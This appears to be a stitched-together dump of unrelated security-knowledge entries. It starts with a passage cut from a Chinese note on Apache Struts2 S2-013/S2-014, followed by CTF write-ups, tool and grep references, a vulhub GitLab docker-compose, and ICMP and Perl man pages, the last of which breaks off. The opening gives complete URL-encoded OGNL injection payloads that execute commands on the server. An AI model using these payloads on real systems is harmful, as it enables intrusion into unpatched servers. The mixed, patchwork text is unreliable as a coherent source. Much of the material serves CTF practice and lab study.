如:`http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D` ![](1.png) S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。 ``` http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D ```
sec-knowleage
## Whiteout Mathmatics (Reverse, PPC, 200p) tl;dr reverse the program, find the number that matches the problem Our job is to run the included [whitespace program](program) with following arguments: `100 1000000000000` After some fiddling with it, we've noticed it's hard to get the output in reasonable for anything bigger than a couple hundred. So we have to find out what exactly does it do. Covert the source code to asm-like instructions, do some dynamic analysis and you get something like this: ```assembly push 1 iint //load first input to 1 input1 push 2 iint //load second input to 2 input2 push 3 push -1 set //store -1 at 3 push 1 get //push input 1 part "A" copy //duplicate push 2 get //push input 2 push 1 add //push (1 + input2) sub //input1 - input2 less "B" //jump b if <0 goto "D" //jump d else part "B" copy call "E" // return sum of divisors for current input1 (on top of the stack) copy push 3 get sub less "C" // generally, set value of variable_3 to max of variable_3 and returned value from "E" push 3 swap set push 0 part "C" away push 1 add goto "A" part "D" //print TWCTF{variable_3} push 3 get push 84 ochr push 87 ochr push 67 ochr push 84 ochr push 70 ochr push 123 ochr oint push 125 ochr push 10 ochr exit part "E" // set variable_5 to 0 push 5 push 0 set //store 0 at 5 push 1 part "F" copy 1 copy 1 mod zero "G" //jump if interator divides current input1 goto "H" part "G" //add current interator value to variable_5 copy push 5 get //push from 5 add //add interator push 5 swap set //store to 5 part "H" // check if interator value is equal or bigger than current input1 push 1 add copy copy 2 //input1 sub push 1 sub less "F" away away push 5 get back ``` It turns out, that the program searches for the biggest sum of divisors for numbers from `input1` to `input2` and it's complexity is O(n^2), which means, it wont return the answer for 10^12 before end of the ctf ;). So we either have to calculate the outcome using a more sophisticated algorithm... or find the result on [google](https://oeis.org/A002093/b002093.txt) Use wolframalpha to get the sum of divisors and your score magically increments by 200 points! `TWCTF{5618427494400}`
sec-knowleage
# LAXT (ppc, 145p, 49 solved) In the challenge we connect to the server and after solving Proof of Work get get: ``` :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: | for a give number like 2018 please construct each integer from 0 to 100, with the | | digits of it, for example: 96 = 12 * 8 + 0, 10 = 2 + 8 + 1 * 0 and 54 = 8**2 - 10 | | you can also see the evaluation function for ervey provided expression like above | | Your options: [E]valuation function for expressions [C]ontinue to solve the number for you in this task is n = 9178 ``` We can peek at the evaluation function too: ```python def laxt(expr, num): ops = ' %&()*+-/<>^|~' nude = expr.translate(None, ops) try: if set(nude) == set(num): flag, val = True, eval(expr) else: flag, val = False, None except: flag, val = False, None return flag, val ``` So the goal is to use only digits provided in the challenge and operations ` %&()*+-/<>^|~` to create all numbers from 0 to 100. Judging by the flag there was some "trick" here, but we simply brute-forced the solution since we had to work with only a few digits. The solution is quite simple: 1. Test all permutations of the digits 2. Test all possible positions of the parenthesis, but with correct order, so `(` has to be before `)`, and there has to be a number in between. There are so few digits it didn't seem necessary to consider more than 1 parenthesis. 3. Test all possible choices for the operator between numbers, including a special `$` symbol which we later removed (this way we can glue digits together). 4. Once the expression is constructed we eval is and compare to the number we're looking for. It's a bit wasteful - we could easily store values we "accidentally" already computed while looking for a different number, but the dataset is so small there is no real need for that. In the end the core of the solver is: ```python def calculate(number, i): ops = '$%&*+-/<>^|~' for perm in itertools.permutations(list(number)): for parenthesis1 in range(len(perm) - 1): for parenthesis2 in range(parenthesis1, len(perm) - 1): for op in itertools.product(list(ops), repeat=len(perm) - 1): equation = combine(perm, op, parenthesis1, parenthesis2) try: if eval(equation) == i: return equation except: pass print("No configuration found for " + str(number) + " " + str(i)) sys.exit(0) ``` It doesn't always provide an answer, but after few runs it usually finds the answer for all values and gives the flag: `ASIS{~_iZ_U53fuL_un4rY_0per471On_:P!!!}` In hindsight it was a huge overkill since the server checker didn't actually verify that each number appears only once! We could have easily generate `1` by division of each number by itself and then combine them to get any number we want... Full solver [here](laxt.py)
sec-knowleage
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CVE-2022-22978</title> </head> <body> ERROR sorry... </body> </html>
sec-knowleage
# Serifin (Crypto, 140p, 33 solved) In the challenge we get [code](serifin.py) and [output](output.txt). The important part here is the primes generation: ```python def genPrime(nbit): while True: p = getPrime(512) if p % 9 == 1 and p % 27 >= 2: q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27)) if q % 9 == 1 and q % 27 >= 2: return int(p), int(q) ``` I don't really know what exactly `serifin` does, but quick blackbox analysis shows that it produces value like `0x2735822f94f13d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000089`. This means that in reality only a few high bytes are unknown, rest are 0 and there is some small value at the lowest bits. From quick tests we can figure that lower 350 bits should be 0. We create a polynomial `f(x) = x *(2**350) + i`. The part `*(2**350)` is simply to shift the `x` value to high bits. `i` should be a small number, which comes from calling `next_prime`, and we can iterate over this. This polynomial will reduce to `0` mod `q` if we find the `x` such that `x *(2**350) + i = q`. Polynomial has degree 1 and both `p` and `q` are of similar bitlength (`q` is a bit bigger), of about `N^0.5`. From Coppersmith theorem we know we can find roots of such polynomial assuming the root is smaller than `beta^2/d`, so for us `0.5^2/1 = 0.25`. We're looking for far less bits, so it should work just fine: ```python def find_factors(N): F.<x> = PolynomialRing(Zmod(N), implementation='NTL') i = 0 while True: poly = x*(2**350)+i poly = poly.monic() roots = poly.small_roots(beta=0.5) if roots: for root in roots: if root != 0: q = int(root)*(2**350)+i p = int(N)/int(q) return p,q i=i+1 ``` Now that we have `p` and `q`, we can try to decrypt the flag. But it turns out there is a twist -> `gcd(phi, e) == 3` so we can't just do RSA decryption. We actually need to calculate the cubic root over composite value `N` instead. But we have the factorization, so it's not such a big problem. We need to: 1. Calculate the roots over each of the prime factors of N 2. Combine the solutions using CRT ```python def cubic_root_prime(c,p): F.<x> = PolynomialRing(Zmod(p), implementation='NTL') poly = x^3 - c return [root for (root,_) in poly.roots()] def cubic_composite_root(c, p, q): rootsp, rootsq = cubic_root_prime(c,p), cubic_root_prime(c, q) return [CRT([int(rp), int(rq)],[p,q]) for rp, rq in itertools.product(rootsp, rootsq)] ``` The last part is simply to take every possible combination of the roots and check if it's the right flag: ```python c = 78643169701772559588799235367819734778096402374604527417084323620408059019575192358078539818358733737255857476385895538384775148891045101302925145675409962992412316886938945993724412615232830803246511441681246452297825709122570818987869680882524715843237380910432586361889181947636507663665579725822511143923 for solution in cubic_composite_root(c,p,q): flag = long_to_bytes(solution) if "ASIS" in flag: print(flag) ``` From this we get `ASIS{h0W_D0_3-th_R0Ot___3XtR4cT10n___AL90r17Hm_iN_Fq!!!?}`. Complete solver [here](solver.sage)
sec-knowleage
# Climate Controller Catastrophe, Exp, 750pts > Catting cars is a major issue these days. It's impossible to sell your stolen car as a whole, so you sell it in parts. Dashboard computers are popular since they break quite often ;-). > Unfortunately, the dashboard computer is paired with the main computer. So, simply exchanging it will not do the trick. In fact, without the handshake to the main computer it will not operate the climate control buttons. > Of course just pairing the dashboard computer isn't cool enough, try to smash the stack instead! We suspect the device isn't using the serial interface for its pairing algorithm. > In addition to the attached challenge and reversing binaries, you're provided a special "challenge" which you can flash to wipe the EEPROM of your dashboard computer. This was a long challenge. Most of the communication with the board had to be made via a custom CAN protocol, not UART. Some of the messages required "authentication", which after closer look was implemented as challenge-response based on RSA. The binary had the public key hardcoded, but it was only 32-bit long, so trivially factorizable. Using Arduino and MCP2515, we implemented the authentication scheme. Being authenticated, we had access to some useful commands, one of which erased part of EEPROM. Using patched `simavr`, we implemented exploit, which overwrote one of return addresses via heap and stack collision. The vulnerable function was multiplication of two bigints during processing of sent certificate (using CAN id 0x776). Final exploit is in `climate/ardu.cpp`, to be flashed on Arduino. The whole folder also contains some notes from reverse engineering, along with code for generating the exploit and `simavr` patches.
sec-knowleage
# Star CTF 2018 Team: c7f.m0d3, akrasuski1, ppr, shalom, nazywam, Eternal ### Table of contents * [milktea (re)](milktea) * [primitive (crypto)](primitive)
sec-knowleage
--- title: lbd categories: Information Gathering tags: [kali linux,recon,lbd,information gathering,webapps] date: 2017-04-23 09:46:00 --- 0x00 介绍 ------- 视频介绍:[https://asciinema.org/a/32257][1] lbd(load balancing detector,负载平衡检测器)检测给定的域是否使用DNS/HTTP负载平衡(通过Server和DateHTTP响应头字段和服务器应答之间的差异)。 <!--more--> [主页][2] | [仓库][3] - 作者:Stefan Behte - 证书:GPLv2 0x01 功能 ------- ```plain root@kali:~# lbd lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing. Written by Stefan Behte (http://ge.mine.nu) Proof-of-concept! Might give false positives. 用法: /usr/bin/lbd [域名] ``` 0x02 示例 ------- 测试目标域(example.com)是否使用负载平衡: ```plain root@kali:~# lbd example.com lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing. Written by Stefan Behte (http://ge.mine.nu) Proof-of-concept! Might give false positives. Checking for DNS-Loadbalancing: NOT FOUND Checking for HTTP-Loadbalancing [Server]: ECS (sea/55ED) ECS (sea/1C15) FOUND ``` [1]: https://asciinema.org/a/32257 [2]: http://ge.mine.nu/code/lbd [3]: http://git.kali.org/gitweb/?p=packages/lbd.git;a=summary
sec-knowleage
# core Forensics, 350 points ## Description: > This program was about to print the flag when it died. Maybe the flag is still in this core file that it dumped? Attached were two binary file. ## Solution: Let's open the core file with GDB: ``` root@kali:/media/sf_CTFs/pico/core# gdb print_flag core GNU gdb (Debian 7.12-6+b1) 7.12.0.20161007-git Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from print_flag...done. [New LWP 45278] warning: .dynamic section for "/lib32/libc.so.6" is not at the expected address (wrong library or version mismatch?) warning: .dynamic section for "/lib/ld-linux.so.2" is not at the expected address (wrong library or version mismatch?) Core was generated by `/opt/hacksports/staging/core_0_6032849791073672/problem_files/print_flag'. Program terminated with signal SIGTRAP, Trace/breakpoint trap. #0 print_flag () at ./print_flag.c:90 90 ./print_flag.c: No such file or directory. gdb-peda$ ``` We don't have the sources, but we can inspect the backtrace: ``` gdb-peda$ bt #0 print_flag () at ./print_flag.c:90 #1 0x08048807 in main () at ./print_flag.c:98 #2 0xf7e2e637 in ?? () from /lib32/libc.so.6 #3 0x0000000c in ?? () gdb-peda$ ``` Let's disassemble `print_flag`: ``` gdb-peda$ disas print_flag Dump of assembler code for function print_flag: => 0x080487c1 <+0>: push ebp 0x080487c2 <+1>: mov ebp,esp 0x080487c4 <+3>: sub esp,0x18 0x080487c7 <+6>: mov DWORD PTR [ebp-0xc],0x539 0x080487ce <+13>: mov eax,DWORD PTR [ebp-0xc] 0x080487d1 <+16>: mov eax,DWORD PTR [eax*4+0x804a080] 0x080487d8 <+23>: sub esp,0x8 0x080487db <+26>: push eax 0x080487dc <+27>: push 0x804894c 0x080487e1 <+32>: call 0x8048410 <printf@plt> 0x080487e6 <+37>: add esp,0x10 0x080487e9 <+40>: nop 0x080487ea <+41>: leave 0x080487eb <+42>: ret End of assembler dump. ``` What would the program print here? ```assembly 0x080487dc <+27>: push 0x804894c 0x080487e1 <+32>: call 0x8048410 <printf@plt> ``` We can check what's at that offset: ``` gdb-peda$ hexdump 0x804894c 0x0804894c : 79 6f 75 72 20 66 6c 61 67 20 69 73 3a 20 70 69 your flag is: pi ``` Or, as a string: ``` gdb-peda$ printf "%s", 0x804894c your flag is: picoCTF{%s} ``` So what we really want is pointed to by eax, after this calculation: ``` 0x080487c7 <+6>: mov DWORD PTR [ebp-0xc],0x539 0x080487ce <+13>: mov eax,DWORD PTR [ebp-0xc] 0x080487d1 <+16>: mov eax,DWORD PTR [eax*4+0x804a080] ``` Therefore: ``` gdb-peda$ p 0x539*4+0x804a080 $1 = 0x804b564 gdb-peda$ p *$1 $2 = 0x80610f0 gdb-peda$ printf "%s\n", $2 abb6a3b2603654804ed357322c760510 gdb-peda$ ``` We can print the complete flag using an `eval` trick: ``` gdb-peda$ eval "printf \"%s\", $2", 0x804894c your flag is: picoCTF{abb6a3b2603654804ed357322c760510} ``` What happens here is that first the `eval` turns the encapsulated command into `printf "picoCTF{%s}", $2`, and then the encapsulated command is executed, printing the full flag. Note that the `%s` we entered is for `eval`'s use only. The flag is printed as a string because of the `%s` in the referenced address (`0x804894c` => `your flag is: picoCTF{%s}`). The flag: picoCTF{abb6a3b2603654804ed357322c760510}
sec-knowleage
yes === 重复打印指定字符串 ## 补充说明 **yes命令** 在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。 ### 语法 ```shell yes(参数) ``` ### 参数 字符串:指定要重复打印的字符串。 ### 实例 ```shell [root@localhost ~]# yes testline testline testline testline testline testline testline testline testline ...一直重复打印 testline,按Ctrl+C结束。 ```
sec-knowleage
--- title: Grep date: 2020-11-25 18:28:43 background: bg-emerald-400 tags: - egrep - search - pattern - text categories: - Linux Command intro: This cheat sheet is intended to be a quick reminder for the main concepts involved in using the command line program grep and assumes you already understand its usage. plugins: - copyCode --- Getting Started {.cols-5} --------------- ### Usage {.col-span-2} Search standard output (i.e. a stream of text) ```shell script $ grep [options] search_string ``` Search for an exact string in file: ```shell script $ grep [options] search_string path/to/file ``` Print lines in myfile.txt containing the string "mellon" ```shell script $ grep 'mellon' myfile.txt ``` Wildcards are accepted in filename. ### Option examples {.col-span-3} | Option | Example | Operation | |--------|---------------------------------------|------------------------------------------------------| | `-i` | grep -i ^DA demo.txt | Forgets about case sensitivity | | `-w` | grep -w "of" demo.txt | Search only for the full word | | `-A` | grep -A 3 'Exception' error.log | Display 3 lines after matching string | | `-B` | grep -B 4 'Exception' error.log | Display 4 lines before matching string | | `-C` | grep -C 5 'Exception' error.log | Display 5 lines around matching string | | `-r` | grep -r 'quickref.me' /var/log/nginx/ | Recursive search _(within subdirs)_ | | `-v` | grep -v 'warning' /var/log/syslog | Return all lines which don't match the pattern | | `-e` | grep -e '^al' filename | Use regex _(lines starting with 'al')_ | | `-E` | grep -E 'ja(s\|cks)on' filename | Extended regex _(lines containing jason or jackson)_ | | `-c` | grep -c 'error' /var/log/syslog | Count the number of matches | | `-l` | grep -l 'robot' /var/log/* | Print the name of the file(s) of matches | | `-o` | grep -o search_string filename | Only show the matching part of the string | | `-n` | grep -n "go" demo.txt | Show the line numbers of the matches | Grep regular expressions --------------- ### Refer - [Regex syntax](/regex) _(quickref.me)_ - [Regex examples](/regex#regex-examples) _(quickref.me)_ Please refer to the full version of the regex cheat sheet for more complex requirements. ### Wildcards | - | - | |-----------------|----------------------------------------| | . | Any character. | | `? ` | Optional and can only occur once. | | `* ` | Optional and can occur more than once. | | `+ ` | Required and can occur more than once. | ### Quantifiers | - | - | |-----------------|----------------------------------------------| | `{n} ` | Previous item appears exactly n times. | | `{n,} ` | Previous item appears n times or more. | | `{,m} ` | Previous item appears n times maximum. | | `{n,m} ` | Previous item appears between n and m times. | ### POSIX | - | - | |-----------------|-------------------------------------------| | `[:alpha:] ` | Any lower and upper case letter. | | `[:digit:] ` | Any number. | | `[:alnum:] ` | Any lower and upper case letter or digit. | | `[:space:] ` | Any whites­pace. | ### Character | - | - | |-----------------|-------------------------------------------| | `[A-Z­a-z] ` | Any lower and upper case letter. | | `[0-9] ` | Any number. | | `[0-9­A-Z­a-z]` | Any lower and upper case letter or digit. | ### Position | | | |------|--------------------| | `^ ` | Beginning of line. | | `$ ` | End of line. | | `^$` | Empty line. | | `\<` | Start of word. | | `\>` | End of word. |
sec-knowleage
version: '2' services: redis: image: redis:4.0.14-alpine postgresql: image: postgres:11.9-alpine environment: - POSTGRES_USER=gitlab - POSTGRES_PASSWORD=password - POSTGRES_DB=gitlabhq_production - DB_EXTENSION=pg_trgm volumes: - ./load-extensions.sh:/docker-entrypoint-initdb.d/load-extensions.sh gitlab: image: vulhub/gitlab:8.13.1 depends_on: - redis - postgresql ports: - "8080:80" - "10022:22" environment: - DEBUG=false - GITLAB_PORT=8080 - GITLAB_SSH_PORT=10022 - GITLAB_SECRETS_DB_KEY_BASE=secret-key-is-here1 - GITLAB_SECRETS_SECRET_KEY_BASE=secret-key-is-here2 - GITLAB_SECRETS_OTP_KEY_BASE=secret-key-is-here3 - DB_ADAPTER=postgresql - DB_HOST=postgresql - DB_USER=gitlab - DB_PASS=password - DB_NAME=gitlabhq_production - REDIS_HOST=redis - GITLAB_ROOT_PASSWORD=vulhub123456
sec-knowleage
.\" This man page is Copyright (C) 1999 Andi Kleen . .\" Permission is granted to distribute possibly modified copies .\" of this page provided the header is included verbatim, .\" and in case of nontrivial modification author and date .\" of the modification is added to the header. .\" 中文版 Copyright (c) 2000 LetBright, BitBIRD 和 www.linuxforum.net .TH ICMP 7 "27 Apr 1999" "Linux Man Page" "Linux Programmer's Manual" .SH NAME 名称 icmp, IPPROTO_ICMP \- Linux IPv4 ICMP 核心模块. .SH DESCRIPTION 描述 本网络核心协议模块实现了基于 RFC792 协议中定义的《互联网控制报文协议》 。它针对网络主机间通讯出错的情况作出回应并给出诊断信息。 用户不能直接使用本模块。相反本模块需与核心中的其他协议进行通讯,而这 些协议将 ICMP 出错信息返回到网络协议的应用层。ICMP 核心模块也回应 ICMP 请求。 .PP 如果用 IPPROTP_ICMP 打开原始套接字(raw socket)时, 用户协议有可以收到任意本地套接字 ICMP 包。 .BR IPPROTO_ICMP . 请参阅 .BR raw (7) 传递到套接字的 ICMP 包可以用 .BR ICMP_FILTER 套接字选项进行过滤。核心会处理所有 ICMP 包,包括传递到用户的套接字去的。 Linux 对可以到达每个目标主机出错信息包的比率设立了限制。 .BR ICMP_REDIRECT 及 .BR ICMP_DEST_UNREACH 也受进入包的目标路由的限制。 .SH SYSCTLS ICMP 支持通过 sysctl 接口来设置一些全局 IP 参数。对 Sysctl 的访问可以通过读、写 .BR /proc/sys/net/ipv4/* 下的文件通过 .BR sysctl (2) 接口进行. 大多数这些 sysctls 对特定 ICMP 类型的数据包数量进行了限制。 Linux 2.2 使用记号单元过滤器对 ICMP 包进行限制。 .\" XXX better description needed 此值表示超时错误,以秒计,直到到顶后记号单元过滤器被清除为止。 .TP .BR icmp_destunreach_rate 发送目的地不可到达 ICMP 消息包的最大数据包比率。这限制了发送到任意一个 路由或目的地的数据包的比率。 这个限制不影响发送用来发现数据链路最大传送单位(MTU)的 .BR ICMP_FRAG_NEEDED 包 数据包。 .TP .BR icmp_echo_ignore_all 如果该值不为零,Linux将忽略所有的 .BR ICMP_ECHO 请求。 .TP .BR icmp_echo_ignore_broadcasts 如果该值不为零,Linux将忽略所有发送到广播地址的 .BR ICMP_ECHO 数据包。 .TP .BR icmp_echoreply_rate 发送响应 .BR ICMP_ECHOREQUEST 请求的 .BR ICMP_ECHOREPLY 数据包比率的最大值。 .TP .BR icmp_paramprob_rate 发送 .BR ICMP_PARAMETERPROB 数据包比率的最大值。当一个具有非法 IP 报头数据包到达时将发送这些包。 .TP .BR icmp_timeexceed_rate 发送 .BR ICMP_TIME_EXCEEDED 包比率的最大值。当一个数据包通过太多网段时,这些包用作防止路由回环。 .SH NOTES 由于在许多其他实现中不支持 .B IPPROTO_ICMP 原始套接字(raw socket),可移植程序不能依靠这一特性。 .\" not really true ATM .\" .PP .\" Linux ICMP 将遵从RFC1122协议. .PP .\" XXX: 这已列入修正计划,将加入对Alexey无用网关检测的补丁. 当Linux不作为路由器时,将不被发送 .BR ICMP_REDIRECT 包。内核也只有在路由表中的旧网关和路由重新定向超时时才接受这些包。 .PP .BR ICMP_TIMESTAMP 返回的 64 位毫秒为单位的时间戳是自1970年1月1日以来的时间. .PP Linux 的 ICMP 在内部使用原始套接字(raw socket)来发送ICMP包。 这个原始套接字可能在 .BR netstat (8) 消息输出中出现,带着一个“zero inode”信息。 .PP .SH VERSIONS 在2.2版本中将再不支持 .BR ICMP_ADDRESS 请求。 .PP 在2.2版本中将不再支持 .BR ICMP_SOURCE_QUENCH .SH 参见 .BR ip (7) .PP RFC792 对ICMP协议进行了详细的叙述。 .SH "[中文版维护人]" .B LetBright <letbright@netease.com> .SH "[中文版最新更新]" .B 2000/10/30 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .TH PERL 1 "2003-09-02" "perl v5.8.1" "Perl Programmers Reference Guide" .SH NAME perl \- Practical Extraction and Report Language (实用摘录和汇报语言) .SH "总览 SYNOPSIS" \&\fBperl\fR [\ \fB\-sTuU\fR\ ] [\ \fB\-hv\fR\ ]\ [\ \fB\-V\fR[:\fIconfigvar\fR]\ ] [\ \fB\-cw\fR\ ]\ [\ \fB\-d\fR[:\fIdebugger\fR]\ ]\ [\ \fB\-D\fR[\fInumber/list\fR]\ ] [\ \fB\-pna\fR\ ]\ [\ \fB\-F\fR\fIpattern\fR\ ]\ [\ \fB\-l\fR[\fIoctal\fR]\ ]\ [\ \fB\-0\fR[\fIoctal\fR]\ ] [\ \fB\-I\fR\fIdir\fR\ ]\ [\ \fB\-m\fR[\fB\-\fR]\fImodule\fR\ ]\ [\ \fB\-M\fR[\fB\-\fR]\fI'module...'\fR\ ] [\ \fB\-P\fR\ ] [\ \fB\-S\fR\ ] [\ \fB\-x\fR[\fIdir\fR]\ ] [\ \fB\-i\fR[\fIextension\fR]\ ] [\ \fB\-e\fR\ \fI'command'\fR\ ]\ [\ \fB\-\-\fR\ ]\ [\ \fIprogramfile\fR\ ]\ [\ \fIargument\fR\ ]... .PP 如果你是 Perl 新手,还是从 perlintro 看起吧,那是为初学者准备的简单介绍,提供了一些背景知识,帮助你浏览 Perl 其余的大量文档 .PP 为方便阅读,Perl 手册分成了很多章 .Sh "概述 Overview" .Vb 3 \& perl Perl 概述 (本小节) \& perlintro Perl 介绍 (为新手准备) \& perltoc Perl 目录 (所有内容列表) .Ve .Sh "教程 Tutorials" .Vb 3 \& perlreftut Perl 引用 \& perldsc Perl 数据结构 \& perllol Perl 高级数据结构 .Ve .PP .Vb 2 \& perlrequick Perl 正则表达式快速入门 \& perlretut Perl 正则表达式 .Ve .PP .Vb 4 \& perlboot Perl OO 面向对象 入门 \& perltoot Perl OO 面向对象 教程 (第一部分) \& perltooc Perl OO 面向对象 教程 (第二部分) \& perlbot Perl OO 面向对象 窍门和例子 .Ve .PP .Vb 1 \& perlstyle Perl 程序风格 .Ve .PP .Vb 3 \& perlcheat Perl 投机取巧 \& perltrap Perl 大意者的陷阱 \& perldebtut Perl 调试 .Ve .PP .Vb 10 \& perlfaq Perl 常见问题 \& perlfaq1 有关 Perl 的一般问题 \& perlfaq2 获取/学习 Perl \& perlfaq3 编程工具 \& perlfaq4 数据操纵 \& perlfaq5 文件与文件格式 \& perlfaq6 正则表达式 \& perlfaq7 Perl 语言本身的问题 \& perlfaq8 与操作系统交互 \& perlfaq9 网络 .Ve .Sh "参考手册 Reference Manual" .Vb 21 \& perlsyn Perl 语法 \& perldata Perl 数据结构 \& perlop Perl 操作符及优先级 \& perlsub Perl 定义函数 \& perlfunc Perl 内置函数 \& perlopentut Perl open() 教程 \& perlpacktut Perl pack() 和 unpack() 教程 \& perlpod Perl POD 文档 \& perlpodspec Perl POD 文档格式规约 \& perlrun Perl 执行选项 \& perldiag Perl 诊断信息 \& perllexwarn Perl 警告 控制警告 \& perldebug Perl 调试 \& perlvar Perl 预定义变量 \& perlre Perl 正则表达式 其余的部分 \& perlreref Perl 正则表达式快速索引 \& perlref Perl 参考 其余的部分 \& perlform Perl 格式 \& perlobj Perl 对象 \& perltie Perl 用简单变量隐藏对象 \& perldbmfilter Perl DBM 层 .Ve .PP .Vb 3 \& perlipc Perl 进程间通信 \& perlfork Perl fork() 相关信息 \& perlnumber Perl 数字的语义 .Ve .PP .Vb 2 \& perlthrtut Perl 线程 \& perlothrtut 旧版 Perl 线程 .Ve .PP .Vb 5 \& perlport Perl 移植向导 \& perllocale Perl 语言环境支持 \& perluniintro Perl Unicode 介绍 \& perlunicode Perl Unicode 支持 \& perlebcdic 在 EBCDIC 平台上运行 Perl .Ve .PP .Vb 1 \& perlsec Perl 安全性 .Ve .PP .Vb 5 \& perlmod Perl modules: 它如何工作 \& perlmodlib Perl modules: 如何写和用它们 \& perlmodstyle 